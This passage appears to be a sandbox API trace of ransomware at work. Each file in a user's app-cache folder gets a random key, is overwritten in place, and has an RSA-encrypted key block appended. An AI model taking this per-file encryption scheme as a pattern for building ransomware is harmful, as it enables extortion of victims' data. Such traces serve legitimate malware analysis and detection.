| out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0248.237] CloseHandle (hObject=0x1afc) returned 1 [0248.239] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0248.239] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{1266D82E-09AF-4573-B530-14687B493988}", dwFileAttributes=0x80) returned 1 [0248.240] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{1266D82E-09AF-4573-B530-14687B493988}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{1266d82e-09af-4573-b530-14687b493988}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0248.240] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0248.240] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0248.254] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0248.254] WriteFile (in: hFile=0x1afc, lpBuffer=0x2f3a0c8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a0c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0248.255] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0248.255] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0248.255] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0248.255] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0248.255] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0248.255] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0248.255] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="t6R6z18GOH5VCNnkg+NCiKx2t18m5ZKgBaqFmm+iQRavb4glPW+oEldgrDYst5gD\naJ14z2gFf9mqZfCqn9yq4tMPARn1JLJbGod1XVRU2FCT4D0iJvIPSuF0Z4A9S6PF\nYR0T2Z6y1XoGUDnpOZCS1oue/AW3Uf9/9MNpBfC1mgakg1jeyimDaw9U7H5GQyH4\nQjrMSINm+68CLSp0bzFG6Yss1wlf0OFP1R/PY7suMIUtgXOm9jUy57895GHFV3zp\n74HfCeplojNjt/FsmcAGs1xjZqAZFQsGZB4+rE29d2OqaAW6bDnJz1kG0SOSTa24\nuCCSHRgQLdo4MgrzZ0Gkjw==\n", pcchString=0x2e3f9a8) returned 1 [0248.256] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0248.256] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0248.256] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0248.256] CloseHandle (hObject=0x1afc) returned 1 [0248.261] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0248.261] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{105794B2-E9C9-44C8-ACF6-B7C0B365698C}", dwFileAttributes=0x80) returned 1 [0248.261] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{105794B2-E9C9-44C8-ACF6-B7C0B365698C}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{105794b2-e9c9-44c8-acf6-b7c0b365698c}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0248.262] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0248.262] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0248.264] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0248.264] WriteFile (in: hFile=0x1afc, lpBuffer=0x2f3a0c8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a0c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0248.264] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0248.264] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0248.264] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0248.264] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0248.264] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0248.265] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0248.265] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="yI+6YVU25hRPPieh4Rh4m+1VbIht7Js9cZVyF3DE3NRD3k39MWH2BR6hptzB8z7y\ndfAwDFriIUbsmXnBZjuwYzdRws7spePUBoy9bv128tH4UngzVZPe8JZ/PALXcnEi\nGvNWWYwFU2NPmlO1oP+//CzxybmIxraK+KaJ8PKGAeW5ovWa/EP3zADxM9eksPm2\nmvrTMDcwMNlTBEkVuYWvgj9PeJSo/MvaEi0hpzx032Wvv4Ne473xFBjAV0FDa7wI\nLsboV/adbXBG3MaZQPbOxGsBomWoKCDPE9vrwHke7WEPztePlELGkSMPflcuZszt\nzlmjKCHCRW8S9WJPNTGQqA==\n", pcchString=0x2e3f9a8) returned 1 [0248.265] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0248.265] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0248.265] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0248.265] CloseHandle (hObject=0x1afc) returned 1 [0248.268] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0248.268] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{0B9E8261-988B-4055-82FD-728741FA7859}", dwFileAttributes=0x80) returned 1 [0248.269] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{0B9E8261-988B-4055-82FD-728741FA7859}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{0b9e8261-988b-4055-82fd-728741fa7859}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0248.270] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0248.270] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0248.283] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0248.284] WriteFile (in: hFile=0x1afc, lpBuffer=0x2f3a0c8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a0c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0248.284] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0248.284] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0248.284] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0248.284] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0248.284] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0248.284] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0248.285] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="DG7BvFjCB0F7kMXcYfYCiqpalbknEBvj6iUpdHESkGW2AEVPjhT3QM9s2iYLHUS5\nzX6fKewy5GsqOLtnCV/WBbLDsTbqVMpTAdWbKfOanPXVzvIaB9kKJBvYMIW+alZc\nnxwNoVTzfAx3d8M8B8EKYl6v3oWeBAP1EGP6dg3atHo6xN+d6hwICO3Rgilihwkm\n0feHT96LtA3yplfEhzTs1EWNxdjfhC+7BBfJ81usll9J1WisbQZ1uf/HHGJDIZbK\npXTolXUUqG0Cz+gfleXKHLU/gJ6T72xghKeD/K9AF2Ov7S33q2M5CnsLvzNRjeXG\nlewrQTUCtmBzdgzrDkk1ig==\n", pcchString=0x2e3f9a8) returned 1 [0248.285] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0248.285] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0248.285] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0248.285] CloseHandle (hObject=0x1afc) returned 1 [0248.289] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0248.289] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{095069DB-9C71-4A14-B8D7-97E8B3310415}", dwFileAttributes=0x80) returned 1 [0248.289] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{095069DB-9C71-4A14-B8D7-97E8B3310415}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{095069db-9c71-4a14-b8d7-97e8b3310415}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0248.290] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0248.290] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0248.386] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0248.387] WriteFile (in: hFile=0x1afc, lpBuffer=0x2f3a0c8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a0c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0248.387] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0248.387] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0248.387] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0248.387] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0248.387] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0248.388] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0248.388] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="IcCOMXJpF67B29+Y6Mbq3wyMzDnFUbXChv25kRbXzneQrQJZ4hFnK2Bxn5h6VnTe\nypQbXFA9kSbs89ieHCklOpEhyBnh1gazg5caWQ2i3MdCZnV/WbKBNqjCB0+0wtW6\nEyeLbKBMQ+Tfwd9vI37288jmULdrDFrRlQaXwxERjvHE8P4alcSEIvyncruQF3lJ\nNH1pBLg61HJ6m6R9gB470oWGpSgQScOL2E3SViPUCX/wSqjAvfMKRZOzwfzgaKlX\nOPdBxRZvgXq3GajSawQECewmuPxPQT7XymvEwewuLTFUpF9sFpgNUdKbvHswV0Ak\n0x+VPGJExMxXOEit4t6Yjg==\n", pcchString=0x2e3f9a8) returned 1 [0248.388] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0248.388] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0248.388] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0248.388] CloseHandle (hObject=0x1afc) returned 1 [0248.391] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0248.391] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{07E7709A-2252-4F64-93C1-4DBAB210817B}", dwFileAttributes=0x80) returned 1 [0248.392] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{07E7709A-2252-4F64-93C1-4DBAB210817B}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{07e7709a-2252-4f64-93c1-4dbab210817b}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0248.393] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0248.393] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0248.394] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0248.394] WriteFile (in: hFile=0x1afc, lpBuffer=0x2f3a0c8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a0c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0248.394] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0248.394] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0248.394] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0248.395] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0248.395] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0248.395] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0248.395] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Cmv0a48pDx/yvtGYA/neRjH2BzBjFFzkgOTOPBuOvoKTKqIArRCuWk72hKkFm8mi\nxMUOK52hi2cXNiRHIICFWm5Y88VhTz3ULKHuVxjfG5QpGpjBxg3c2a+fcsX2AEd0\nNRaSZ+BR1war5uNdpM5zDbAnAmamPmtJJ/yZU4+oobKFnKsFjt0A290ubNj6I4yw\nvtY+1gI0P7pUKOytLtZc5DRvW7i/IGh15BJbS+GI6Sl52IECjpsC1nwFfqusXjTU\nIYqEeKne2bftoojI1kUt9XS6ezFewFCALm1PtzI0NHUp3EtfZe9LRsvx9YIhUfDh\nzMMODE/dPIUG0nEM76qXSw==\n", pcchString=0x2e3f9a8) returned 1 [0248.395] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0248.395] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0248.395] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0248.395] CloseHandle (hObject=0x1afc) returned 1 [0248.452] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0248.452] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{06A6D43F-8744-4A41-B9CE-FFA8570069CC}", dwFileAttributes=0x80) returned 1 [0248.452] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{06A6D43F-8744-4A41-B9CE-FFA8570069CC}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{06a6d43f-8744-4a41-b9ce-ffa8570069cc}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0248.453] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0248.453] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0248.455] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0248.456] WriteFile (in: hFile=0x1afc, lpBuffer=0x2f3a0c8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a0c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0248.456] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0248.456] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0248.456] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0248.456] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0248.456] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0248.456] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0248.457] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="9AfW6TCwWoOD2pa5xi6G9F10dt3uy9ime7aKFSIN4Z3AcsqPg3cOAWdMiLCLkIhM\nCJXeGgKEW1apiWEOc/uMIC/b4jRKCPXUgEYVD0EkgPxHayfM4Hs47dRsvahVpSd7\nVNlfD1cZmImxupi2bBgrsUxzjTF8OPKzoZeStP7AzCc28zQ/bK71b/9qNbKpfAYy\nO9dvwTJpLwzxHSr/EfBT1RNISS9c+88RbA0u3+VUM131jk/I0G5SAs3rhFZ2dVCL\nz8ccu73BPpAPL3rVNC6z34QIUAb/l/hdGf10jtqhDtpA9KRHfOoBvK14FUEnBpi2\nY6XP5qdnGgv8wJWvHR/TFg==\n", pcchString=0x2e3f9a8) returned 1 [0248.457] WriteFile (in: hFile=0x1afc, 